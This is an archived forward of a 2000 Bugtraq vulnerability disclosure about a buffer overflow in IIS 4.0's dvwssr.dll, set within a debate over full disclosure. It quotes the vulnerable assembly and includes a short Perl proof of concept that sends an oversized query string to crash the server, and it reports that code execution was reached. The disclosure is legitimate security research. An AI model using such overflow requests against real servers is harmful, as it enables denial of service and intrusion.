OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: FW: DVWSSR.dll Buffer Overflow Vulnerability in Microsoft IIS 4.0 Web Servers
From: Steve (steveSECURESOLUTIONS.ORG)
Date: Sat Apr 15 2000 - 10:04:22 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I thought it would be important to forward this message to the list
as it addresses the post made by Russ Cooper.

- -Steve

- -----Original Message-----
From: Bugtraq List [mailto:BUGTRAQSECURITYFOCUS.COM]On Behalf Of
Gerardo Richarte
Sent: Friday, April 14, 2000 5:41 PM
To: BUGTRAQSECURITYFOCUS.COM
Subject: DVWSSR.dll Buffer Overflow Vulnerability in Microsoft IIS
4.0
Web Servers

Russ wrote (in ntbugtraq):

> Ok, here's a breaking update.
>
> Latest reports say that there is
>
> NO VULNERABILITY IN DVWSSR.DLL
>
> Yup, that's right, different again from what I said earlier, and
> even more different than what I said yesterday to WSJ.

  That is not correct.

We have been playing with dvwssr.dll and we've found a buffer
overflow that stops the server from incoming connections, at least.

The code where the buffer overflow resides is:

 mov eax, [edi+TEXTENSION_CONTROL_BLOCK.lpszQueryString]
 test eax, eax
 jz _text_581813FD
 push eax
 lea eax, [esp+14h+queryStringCoph]
 push eax
 call ds:lstrcpyA ;see here MS ENGINEERS: BUFFER
OVERFLOW
 test eax, eax
 jz _text_581813FD
 lea eax, [esp+10h+queryStringCoph]
 push eax
 call unescape_url

So, below is an example of how to exploit this vulnerability:
Of course, having the source code makes it harder to find
 this types of bugs...

#!/usr/bin/perl
print "GET /_vti_bin/_vti_aut/dvwssr.dll?";
print "a" x 5000;
print " HTTP/1.1\nHost: yourhost\n\n";

    We've been playing a little more trying to exploit this buffer
overflow, and as we don't
have InterDevs installed on our IIS, we copied the .dll to /msadc
directory, and with
this configuration, we have been able to make the code jump to our
buffer.
Under this circunstances, the actual BO allow to execute arbitrary
code in the target machine.
It's interesting to note that no log is generated as efect of this
attack.

> MS have had people working on this thing like madmen, trying to
> verify the claims and investigate all of the possible pieces of
> code that may be affected. As that research progressed, different
> observations were made and so the story came out in various stages
> (with varying levels of
> "correctness"). Had they been given a reasonable amount of time to
> respond, nobody would have been in a tizzy about anything (i.e. the
> press would not have cared to run this story anywhere).
>
> Decide for yourself whether we were better served by (more)
> immediate disclosure or not. I've stood where I stand for a reason,
> despite the loathing of others for my stance...

well, aparently full disclosure does serve a purpose, we only started
looking at
the DLL AFTER the post to ntbugtraq, if that didnt happend we wouldnt
direct
our attention to that particular DLL.
 In your own word "decide for yourself whether...."

    richie & beto for Core SDI

- --
A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com

- --- For a personal reply use geracore-sdi.com

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

iQA/AwUBOPiE8zV9eGvIXwM6EQJwMwCg4awNqZ+zWWwJX7lkKcPYiPlaNXIAnjFG
GmVdMINg/yAk2ab4vCfJzx+N
=aKYN
-----END PGP SIGNATURE-----

_____________________________________________________________________
** TO UNSUBSCRIBE, send the command "UNSUBSCRIBE win2ksecadvice"
** FOR A WEEKLY DIGEST, send the command "SET win2ksecadvice DIGEST"
SEND ALL COMMANDS TO: listservlistserv.ntsecurity.net